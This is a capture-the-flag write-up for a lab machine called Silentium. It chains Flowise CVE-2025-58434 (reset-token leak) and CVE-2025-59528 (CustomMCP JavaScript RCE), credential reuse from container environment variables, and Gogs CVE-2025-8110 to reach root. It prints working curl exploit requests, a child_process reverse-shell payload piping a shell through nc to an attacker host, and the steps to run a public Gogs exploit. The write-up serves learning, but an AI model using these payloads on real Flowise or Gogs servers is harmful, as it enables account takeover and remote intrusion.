Silentium

Summary of Exploitation

Silentium is an easy Linux box chaining three 2025 CVEs across a Flowise AI-workflow app and an internal Gogs instance. An unauthenticated token leak hands over a Flowise account, an authenticated RCE gives a container foothold, leaked container env vars open SSH to the host, and a Gogs symlink bug finishes the box as root. The chain proceeds as follows:

1. Vhost discovery reveals staging.silentium.htb running Flowise 3.0.5.
2. CVE-2025-58434 — the forgot-password endpoint leaks the reset tempToken directly in the response, allowing an account takeover.
3. CVE-2025-59528 — an authenticated CustomMCP node executes attacker JavaScript, yielding a root shell inside the Flowise Docker container.
4. Container env credential reuse — FLOWISE_USERNAME/FLOWISE_PASSWORD in the environment unlock SSH to the host as ben.
5. CVE-2025-8110 — a symlink bypass in the Gogs PutContents API (running as root on an internal port) gives a root shell.

---

Recon Phase

An initial full-port Nmap scan was run against the target:

nmap -sC -sV -p- --min-rate 5000 <target-ip> -oN nmap.txt

Results:

Port	State	Service	Note
22	open	ssh	OpenSSH
80	open	http	redirects to silentium.htb

The host and the discovered vhost were added to /etc/hosts:

echo "<target-ip> silentium.htb staging.silentium.htb" | sudo tee -a /etc/hosts

Virtual-host enumeration revealed that staging.silentium.htb runs Flowise 3.0.5, an LLM-workflow builder with a known 2025 CVE cluster.

---

Exploitation Phase

Step 1 — CVE-2025-58434: unauthenticated reset-token leak → account takeover

Flowise’s forgot-password endpoint returns the tempToken directly in the API response, so an attacker can reset any user’s password without access to their mailbox:

curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}}'

The leaked tempToken is replayed against the reset endpoint to set a known password:

curl -s http://staging.silentium.htb/api/v1/account/reset-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb","tempToken":"<TOKEN>","password":"Hacked123!"}}'

Step 2 — CVE-2025-59528: authenticated RCE via CustomMCP → container shell

After logging in with the reset credentials and obtaining an API key, the customMCP node’s mcpServerConfig is evaluated as JavaScript. A crafted config triggers child_process.exec, executing a reverse shell:

rlwrap nc -lvnp 443   # listener

curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <API_KEY>" \
  -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <attacker-ip> 443 >/tmp/f\");return 1;})()})"}}'

This returns a shell running as root inside the Flowise Docker container.

Step 3 — Container env credentials → SSH to host as ben

The container environment leaks the Flowise admin credentials, which reuse for the host account:

env

FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r

ssh ben@<target-ip>
# password: F1l3_d0ck3r

User flag:

cat /home/ben/user.txt

Step 4 — CVE-2025-8110: Gogs symlink bypass → root

An internal Gogs instance runs as root on 127.0.0.1:3001. It is reached through an SSH local-port forward:

ssh -L 8080:127.0.0.1:3001 ben@<target-ip>

An account is registered at http://127.0.0.1:8080 and an API token generated. CVE-2025-8110 abuses a symlink bypass in the PutContents API to write files outside the repository, enabling RCE as root:

git clone https://github.com/TYehan/CVE-2025-8110-Gogs-RCE-Exploit
cd CVE-2025-8110-Gogs-RCE-Exploit

python3 exploit.py \
  --url http://127.0.0.1:8080 \
  --username <user> \
  --password <pass> \
  --token <token> \
  --host <attacker-ip> \
  --port 4446

Root Flag Successfully Obtained

id
# uid=0(root)

cat /root/root.txt

---

Key Takeaways

• Reset tokens belong in mailboxes, not responses. CVE-2025-58434 returns the tempToken in the HTTP body, collapsing the entire password-reset trust model into a single unauthenticated request.
• “Config” that is evaluated is code. The Flowise customMCP node treats mcpServerConfig as live JavaScript — authenticated RCE by design.
• Containers leak their secrets via env. The Flowise admin password sat in the container environment and reused verbatim for SSH to the host.
• Root-owned internal services are worth tunnelling to. Gogs bound to localhost felt safe, but an SSH forward plus CVE-2025-8110 turned it into a root shell.

---

Full Attack Chain

vhost staging.silentium.htb → Flowise 3.0.5
   └─ CVE-2025-58434 reset-token leak  ──>  account takeover
        └─ CVE-2025-59528 CustomMCP RCE  ──>  root shell in Docker container
             └─ container env (ben:F1l3_d0ck3r)  ──>  SSH to host as ben   [USER]
                  └─ SSH tunnel to Gogs :3001 (root)  ──>  CVE-2025-8110 symlink RCE  ──>  root   [ROOT]